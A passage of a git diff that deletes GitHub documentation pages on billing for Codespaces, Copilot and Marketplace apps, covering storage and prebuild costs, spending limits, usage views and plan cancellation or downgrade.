variables.product.prodname_github_codespaces %} during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of `(24 * 3) * 200 / (24 * 30) = 20` GB-months. - -For each hourly report, the storage usage for the previous hour is calculated in seconds. As a result, you won't be charged for a full hour of storage if a codespace did not exist for the full 60 minutes. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. - -Organization owners can: -* List the currently active and stopped codespaces for your organization. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization). In addition to the cost of these codespaces, the cost of {% data variables.product.prodname_github_codespaces %} for the current month may include costs for codespaces that existed earlier in the current month but have since been deleted. -* See the total {% data variables.product.prodname_github_codespaces %} compute and storage usage for your organization for the current month to date. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). -* Configure your organization settings to manage the cost of {% data variables.product.prodname_github_codespaces %}. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization). - -To estimate the costs for usage-based billing, you can use the {% data variables.product.prodname_dotcom %} [pricing calculator](https://github.com/pricing/calculator?feature=codespaces). - -## About billing for {% data variables.product.prodname_codespaces %} prebuilds - -{% data reusables.codespaces.prebuilds-definition %} See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds). - -### {% data variables.product.prodname_actions %} costs for prebuilds - -Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. You can configure how you want prebuild updates to be automatically triggered. For information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild). - -As with other workflows, while prebuild workflows are running they consume {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or they incur charges for {% data variables.product.prodname_actions %} minutes. For more information about pricing for {% data variables.product.prodname_actions %} minutes, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds. - -You can track usage of prebuild workflows and storage by downloading a usage report for your account. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -### Storage costs for prebuilds - -In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration, for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces. - -The storage cost for a prebuild in a single region will be similar to the storage cost that will be incurred for storing a single codespace created from that prebuild. The storage cost for the generated codespace may be more than the cost for the prebuild if, for example, the `updateContentCommand` and `postCreateCommand` commands are used during codespace creation to download more files to the dev container. - -The total storage costs associated with a prebuild configuration will depend on the following factors. - -* The price of storage per GB (see the table earlier in this article) -* The size of the generated prebuild in GB -* The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region) -* The number of older versions of the prebuild that are retained - -The storage cost for the prebuilds generated by a prebuild configuration is therefore calculated as: `price per GB * size (GB) * regions * versions`. - -You can check how many GB-months of storage has been used by prebuilds by reviewing the current billing data for your personal or organization account. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -{% data reusables.codespaces.prebuilds-billing-for-forks %} See [How billing is handled for forked repositories](#how-billing-is-handled-for-forked-repositories). - -### Controlling the cost of prebuilds - -To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -If you delete a prebuild configuration, all the associated prebuilds are deleted, reducing your storage consumption from that point onward. See [AUTOTITLE](/codespaces/prebuilding-your-codespaces/managing-prebuilds#deleting-a-prebuild-configuration). - -Prebuilds can be updated multiple times during a billing month. Each update may change the size of the prebuild, which affects your storage charges. For details of how storage is calculated during a billing month, see [About billing for storage usage](#about-billing-for-storage-usage) earlier in this article. - ->[!TIP] As with deleting codespaces, deleting prebuilds does not reduce your used storage amount for the current billing month as this is a cumulative figure. - -### Cost of codespaces created from prebuilds - -Use of codespaces created using prebuilds is charged at the same rate as regular codespaces. - -## Setting a spending limit - -{% data reusables.codespaces.codespaces-spending-limit-requirement %} - -For information on managing and changing your account's spending limit, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). - -{% data reusables.codespaces.exporting-changes %} - -## Viewing projected usage for an organization - -Organization owners and billing managers can view an estimated total usage cost for {% data variables.product.prodname_github_codespaces %} for the organization, for the current monthly billing cycle. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage#viewing-github-codespaces-usage-for-your-organization-account). - -The projected usage shown on the billing page for an organization is calculated based on the total cost for {% data variables.product.prodname_codespaces %} compute and storage usage incurred during the previous seven days, prior to the current day. This is projected forward for the remainder of the billing month to give you an idea of how much the total cost might be for the current billing cycle. - -The calculation used for this estimate is: - -`<cost for the previous 7 full days>/7 * <days remaining in the billing month, including the current day> + <cost already accrued in this billing month>` - -The projected usage does not take into account information such as whether {% data variables.product.prodname_github_codespaces %} is still enabled, the number or size of codespaces that currently exist, or your prebuild settings. For this reason, if all of the organization's codespaces and prebuilds were deleted today, the projected usage for the billing month would still show a figure higher than the accrued usage. However, after seven days have elapsed, with no further {% data variables.product.prodname_codespaces %} usage, the projected usage will be the same as the currently accrued usage. - -## Limiting the machine types for organization-owned codespaces - -By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. See [AUTOTITLE](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository) and [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace). - -If a machine type that has more resources is chosen, this will affect the per-hour charge for that codespace, as shown in the table [earlier in this article](#pricing-for-paid-usage). - -Organization owners can create a policy to limit the choice of machine types available to users for codespaces that are billed to an organization or enterprise account. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). - -## Limiting the number of organization-owned codespaces - -Organization owners can limit the number of codespaces that people can create, where the organization will be billed for the codespace. This can help to reduce storage charges for the organization. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create). - -## How billing is handled for forked repositories - -Usage of codespaces created from a forked repository will be billed to your personal account unless the upstream (or parent) repository is in an organization that has allowed you - as a member, or outside collaborator, of the organization - to use codespaces at the organization's expense. - -For example, consider a member, or outside collaborator, of an organization that has allowed billing for codespaces for that user. If the user has permission to fork an organization-owned private repository, they can subsequently create and use a codespace for the new repository at the organization's expense. This is because the organization is the owner of the parent repository. Note that the organization owner can remove the user's access to the private repository, the forked repository, and therefore also the codespace. The organization owner can also delete the parent repository which will also delete the forked repository. See [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository). - -{% data reusables.codespaces.prebuilds-billing-for-forks %} - -## How billing is handled when a repository is transferred to another organization - -Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly. - -## How billing is handled for {% data variables.product.prodname_github_codespaces %} templates - -You can get started on a new project by creating a codespace from a template. Codespaces created from templates aren't initially associated with a repository, but you can publish the codespace to a repository owned by your personal account. See [AUTOTITLE](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). - -Any organization can maintain a template repository for use with {% data variables.product.prodname_github_codespaces %}. As with any other repository in an organization, a codespace created from a template repository is billed to the organization if the organization has set a spending limit for {% data variables.product.prodname_github_codespaces %} and allowed the user creating the codespace to do so at the organization's expense. Otherwise, the codespace is billed to the user who creates the codespace. - -If a user publishes a codespace created from a template, the codespace is published to a new repository owned by the user's personal account. If the codespace is currently billed to an organization, ownership and billing of the codespace transfer to the user who created the codespace. - -{% ifversion ghec %} - -A {% data variables.enterprise.prodname_managed_user %} cannot be the billable owner of a codespace. Therefore: - -* A {% data variables.enterprise.prodname_managed_user %} can only create a codespace from a template if the codespace is billed to an organization. -* A {% data variables.enterprise.prodname_managed_user %} cannot publish a codespace created from a template to a new repository. - -See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% endif %} - -## What happens when users are removed - -If a user is removed from an organization or repository, their codespaces are automatically deleted. diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/index.md deleted file mode 100644 index fdf733c0c8e1..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Managing billing for GitHub Codespaces -shortTitle: Codespaces -intro: 'You can view your usage and set a spending limit for {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /billing/managing-billing-for-github-codespaces -children: - - /about-billing-for-github-codespaces - - /viewing-your-github-codespaces-usage - - /managing-the-spending-limit-for-github-codespaces ---- - -{% data reusables.billing.enhanced-billing-platform %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces.md deleted file mode 100644 index f8aae5886241..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces.md +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Managing the spending limit for GitHub Codespaces -intro: 'You can set a spending limit for {% data variables.product.prodname_github_codespaces %} usage.' -shortTitle: Spending limit -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Enterprise - - Organizations - - Spending limits - - User account - - Billing -redirect_from: - - /billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces - - /billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## About the {% data variables.product.prodname_github_codespaces %} spending limit - -{% data reusables.codespaces.codespaces-free-for-personal-intro %} See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -{% data reusables.codespaces.codespaces-spending-limit-requirement %} -{% data reusables.codespaces.codespaces-monthly-billing %} - -Once you've reached your spending limit, you will no longer be able to create new codespaces, and you won't be able to start existing codespaces. Any existing codespaces that are still running will be shut down in a short time, but you will not be charged for usage after you have reached your spending limit. - -## Using your Azure Subscription - -If you are an organization owner{% ifversion ghec %} or enterprise owner{% endif %}, you can connect an Azure Subscription ID to your organization {% ifversion ghec %}or enterprise{% endif %} account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. See [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -## Managing the {% data variables.product.prodname_github_codespaces %} spending limit for your personal account - -You can set a spending limit for {% data variables.product.prodname_github_codespaces %} for your own personal account. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans_spending %} -{% data reusables.dotcom_billing.manage-spending-limit %} -{% data reusables.codespaces.monthly-spending-limit-codespaces %} -{% data reusables.dotcom_billing.update-spending-limit %} - -## Managing the {% data variables.product.prodname_github_codespaces %} spending limit for your organization account - -Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an organization. - -> [!NOTE] -> Organizations that are owned by an enterprise account cannot specify their own spending limit as this is specified in the enterprise settings. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.manage-spending-limit %} -{% data reusables.codespaces.monthly-spending-limit-codespaces %} -{% data reusables.dotcom_billing.update-spending-limit %} - -{% ifversion ghec %} - -## Managing the {% data variables.product.prodname_github_codespaces %} spending limit for your enterprise account - -Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an enterprise account. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. On the "Billing" page, click the **Spending limit** tab. - - ![Screenshot of the "Billing" page. A tab labeled "Spending limit" is highlighted with an orange outline.](/assets/images/help/settings/spending-limit-tab-enterprise.png) - -{% data reusables.codespaces.monthly-spending-limit-codespaces %} -{% data reusables.dotcom_billing.update-spending-limit %} -{% endif %} - -## Exporting changes when you have reached your spending limit - -{% data reusables.codespaces.exporting-changes %} - -## Managing usage and spending limit email notifications - -Email notifications are sent to account owners and billing managers when spending reaches 75%, 90%, and 100% of an account's spending limit. - -You can turn off these notifications at any time from the "Billing and plans" page. To turn off notifications, under "Email alerts", deselect the **Spending limits alerts** checkbox. - -For personal accounts only, you can also choose to turn off email notifications that are sent when you have used 75%, 90%, and 100% of the free usage included with your personal account. To do this, clear the **Included resources alerts** checkbox. - -![Screenshot of the "Email alerts" settings. The options "Included resources alerts" and "Spending limit alerts" are both selected.](/assets/images/help/codespaces/codespaces-spending-limit-notifications.png) - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md deleted file mode 100644 index ccd0cc373671..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Viewing your GitHub Codespaces usage -shortTitle: Viewing your usage -intro: 'You can view the compute hours and storage used by {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Codespaces - - Billing -redirect_from: - - /billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage - - /billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## Viewing {% data variables.product.prodname_github_codespaces %} usage for your personal account - -You can see how much of the usage included in your personal account you have used so far in the current monthly billing cycle. If you have set up a payment method, set a spending limit, and used all of your included usage, you can also check your bill for the current month. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -1. Under "{% data variables.product.prodname_codespaces %}," you can see how many core hours of {% data variables.product.prodname_github_codespaces %} compute usage and GB-months of storage you have used so far in the current billing month. - - ![Screenshot of the "{% data variables.product.prodname_codespaces %}" section of the billing page showing figures for "Usage hours" and "Storage."](/assets/images/help/codespaces/view-personal-usage-collapsed.png) - - For information about "core hours" and "GB-months," see [AUTOTITLE](/free-pro-team@latest/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -1. Optionally, click **Usage hours** and **Storage** to see more details. - - ![Screenshot of the "{% data variables.product.prodname_codespaces %}" section of the billing page, expanded to show more details for "Usage hours" and "Storage."](/assets/images/help/codespaces/view-personal-usage-expanded.png) - - The **Included** column shows how many of the core hours of compute usage, or GB-months of storage, included free with your account, you have used so far this month. The **Paid** column shows how many billed core hours of usage, or GB-months of storage, you have used. The figures are updated once every hour. - - In the screenshot above, the entire quota of included storage for the month has been used. When you've used all of either the included compute usage or storage (whichever is reached first), you must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. See [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method) and [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-personal-account). - - {% data reusables.codespaces.tips-included-usage %} - -{% data reusables.codespaces.usage-report-download %} - -## Viewing {% data variables.product.prodname_github_codespaces %} usage for your organization account - -Organization owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for the organization. - -{% data reusables.organizations.billing-settings %} -1. Under "Usage this month", under "{% data variables.product.prodname_codespaces %}", view the details of the compute hours and storage used so far this month. - - > [!NOTE] - > * The costs shown here are the cumulative costs within the current billing month. The usage-based costs for {% data variables.product.prodname_github_codespaces %} shown on this page are reset to zero at the start of each billing month. Outstanding costs from previous months are not shown. - > * The figures on this page are updated every hour. - - You can also see and update your current spending limit. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). - - The **Projected usage** figure gives an estimate of the total usage for the current billing month, assuming the compute and storage usage for the past seven days continues unchanged for the remainder of the billing month. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#viewing-projected-usage-for-an-organization). - -{% data reusables.codespaces.usage-report-download %} - -{% ifversion ghec %} - -## Viewing {% data variables.product.prodname_codespaces %} usage for your enterprise account - -Enterprise owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for an enterprise account. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "{% data variables.product.prodname_codespaces %} monthly usage", view the usage details of each organization in your enterprise account. -{% data reusables.codespaces.usage-report-download %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-copilot/about-billing-for-github-copilot.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-copilot/about-billing-for-github-copilot.md deleted file mode 100644 index d9ed4b0484c7..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-copilot/about-billing-for-github-copilot.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: About billing for GitHub Copilot -shortTitle: Billing for GitHub Copilot -intro: '{% data variables.product.prodname_dotcom %} offers multiple subscription options for enterprises, organizations, and individuals to use {% data variables.product.prodname_copilot %}.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /billing/managing-billing-for-github-copilot/about-billing-for-github-copilot ---- - -## {% data variables.product.prodname_copilot %} in your enterprise - -Enterprises on {% data variables.product.prodname_ghe_cloud %} can subscribe to either {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %}, or a mixture of both across different organizations within an enterprise. Both subscriptions are available on a monthly cycle, and pricing varies. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/about-billing-for-github-copilot-in-your-enterprise). - -## {% data variables.product.prodname_copilot %} in your organization - -Subscriptions to {% data variables.product.prodname_copilot_for_business %} are available on a monthly cycle, for {% data variables.copilot.cfb_price_per_month %} per user per month. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-the-copilot-subscription-for-your-organization/about-billing-for-github-copilot-in-your-organization). - -## {% data variables.product.prodname_copilot %} as an individual - -Subscriptions to {% data variables.product.prodname_copilot_pro %} are available on a monthly or yearly cycle, for either {% data variables.copilot.cfi_price_per_month %} per calendar month or {% data variables.copilot.cfi_price_per_year %} per year. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/about-billing-for-github-copilot-individual). - -> [!NOTE] {% data reusables.copilot.copilot-one-account %} - -If you want to try {% data variables.product.prodname_copilot_short %} before subscribing, you can use {% data variables.product.prodname_copilot_free %} for a limited experience. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/about-github-copilot-free). - -## Further reading - -* [AUTOTITLE](/copilot/about-github-copilot/subscription-plans-for-github-copilot) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-copilot/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-copilot/index.md deleted file mode 100644 index 9f41e33c7ca9..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-copilot/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Managing billing for GitHub Copilot -shortTitle: GitHub Copilot -intro: '{% ifversion fpt %}You can set up a {% data variables.product.prodname_copilot %} subscription through your personal or organization account. You can modify or cancel your subscription at any time.{% endif %}{% ifversion ghec %}You can view your usage of {% data variables.product.prodname_copilot_for_business %}, and learn about how the costs are calculated.{% endif %}' -versions: - feature: copilot -redirect_from: - - /billing/managing-billing-for-github-copilot -children: - - /about-billing-for-github-copilot ---- - -{% data reusables.billing.enhanced-billing-platform %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md deleted file mode 100644 index f44241a3fbb9..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: About billing for GitHub Marketplace -intro: 'If you install a paid app in {% data variables.product.prodname_marketplace %}, your subscription shares your account''s existing billing date, payment method, and receipt.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-marketplace - - /articles/about-billing-for-github-marketplace - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace - - /billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Marketplace -shortTitle: Billing for GitHub Marketplace ---- -{% data variables.product.prodname_marketplace %} includes apps with free and paid pricing plans. After you purchase and install an app, you can upgrade, downgrade, or cancel at any time. - -{% data reusables.marketplace.marketplace-apps-only %} - -{% data reusables.marketplace.marketplace-org-perms %} - -## Payment methods and billing cycles for {% data variables.product.prodname_marketplace %} purchases - -You will have the same payment method for all paid plans and subscriptions across {% data variables.product.prodname_dotcom %}. - -If your personal account or organization doesn't have a payment method on file, when you choose a paid plan for an app: -* Your billing date is today. -* You must add a payment method to your personal account or the organization in which you want to install the app. -* Your payment method is charged the full amount of your subscription. -* Your receipt is sent to the primary or billing email address on file for your personal account or organization. - -If your personal account or organization has an existing payment method, when you choose a paid plan for an app: -* The payment method on file is immediately charged a prorated amount based on the time remaining until your next billing date. -* The monthly or yearly billing date for your app subscription is the same as the account or organization's regular billing date. -* On your next billing date, your receipt lists charges for your paid {% data variables.product.prodname_dotcom %} plan and your app subscription. - -When you choose a paid plan with a free trial: -* You must have an existing payment method or add a new payment method for your personal account or the organization in which you want to install the app. -* If you don't have any other paid plans or subscriptions, you are charged the full amount of your subscription at the end of the 14-day free trial. -* If you have other paid plans or subscriptions, once your 14-day free trial ends, the payment method on file is immediately charged a prorated amount based on the time remaining until your next billing date. -* If you have other paid plans or subscriptions, on your next billing date, your receipt lists charges for your paid {% data variables.product.prodname_dotcom %} plan and your app subscription. - -{% data reusables.user-settings.context_switcher %} - -> [!NOTE] -> When you transfer an organization with paid {% data variables.product.prodname_marketplace %} apps into an enterprise account, you may receive a second receipt but you will not be charged twice. - -## Unit plan limits - -If you choose a unit plan (for example, a plan that charges per user), and you exceed the units that you're paying for, the integrator may disable your access until you upgrade the app. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app). - -## Downgrading a {% data variables.product.prodname_marketplace %} app - -If you downgrade your app subscription to a less expensive plan or if you cancel a paid app subscription, your changes will take effect at the end your current billing cycle. Your subscription will be moved to your new plan on your next billing date. - -If you cancel an app on a free plan, your subscription will immediately end and you'll lose access to the app. - -{% data reusables.marketplace.downgrade-marketplace-only %} - -If you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app). - -## Further reading - -* [AUTOTITLE](/apps/using-github-apps) -* [AUTOTITLE](/support/learning-about-github-support/github-marketplace-support) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md deleted file mode 100644 index 9e9e42dbe189..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Canceling a GitHub Marketplace app -intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app - - /articles/canceling-an-app-for-your-personal-account - - /articles/canceling-an-app-for-your-organization - - /articles/canceling-a-github-marketplace-app - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app - - /billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Cancellation - - Marketplace - - Organizations - - Trials - - User account -shortTitle: Cancel a Marketplace app ---- - -{% ifversion fpt %}{% data reusables.marketplace.marketplace-app-page %}{% endif %} - -When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace). - -When you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. If you don't cancel your free trial within the trial period, the payment method on file for your account will be charged for the plan you chose at the end of the trial period. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace). - -{% data reusables.marketplace.downgrade-marketplace-only %} - -## Canceling an app for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.marketplace.cancel-app-billing-settings %} -{% data reusables.marketplace.cancel-app %} - -## Canceling a free trial for an app for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.marketplace.cancel-free-trial-billing-settings %} -{% data reusables.marketplace.cancel-app %} - -## Canceling an app for your organization - -{% data reusables.marketplace.marketplace-org-perms %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -{% data reusables.marketplace.cancel-app-billing-settings %} -{% data reusables.marketplace.cancel-app %} - -## Canceling a free trial for an app for your organization - -{% data reusables.marketplace.marketplace-org-perms %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -{% data reusables.marketplace.cancel-free-trial-billing-settings %} -{% data reusables.marketplace.cancel-app %} - -## Canceling an app in your enterprise - -{% data reusables.marketplace.marketplace-enterprise-account %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.billing-tab %} -1. In the "Marketplace apps" tab, find the app you want to cancel. -1. Next to the organization where you want to cancel the app, select **{% octicon "kebab-horizontal" aria-label="More" %}** and then click **Cancel plan**. -1. Click **Confirm**. diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md deleted file mode 100644 index 67782a2e5bee..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Downgrading the billing plan for a GitHub Marketplace app -intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app - - /articles/downgrading-an-app-for-your-personal-account - - /articles/downgrading-an-app-for-your-organization - - /articles/downgrading-the-billing-plan-for-a-github-marketplace-app - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app - - /billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Downgrades - - Marketplace - - Organizations - - User account -shortTitle: Downgrade billing plan ---- - -{% ifversion fpt %}{% data reusables.marketplace.marketplace-app-page %}{% endif %} - -When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace). - -{% data reusables.marketplace.downgrade-marketplace-only %} - -## Downgrading an app for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.marketplace.downgrade-app-billing-settings %} -{% data reusables.marketplace.choose-new-plan %} -{% data reusables.marketplace.choose-new-quantity %} -{% data reusables.marketplace.issue-plan-changes %} - -## Downgrading an app for your organization - -{% data reusables.marketplace.marketplace-org-perms %} - -{% data reusables.profile.access_org %} -{% data 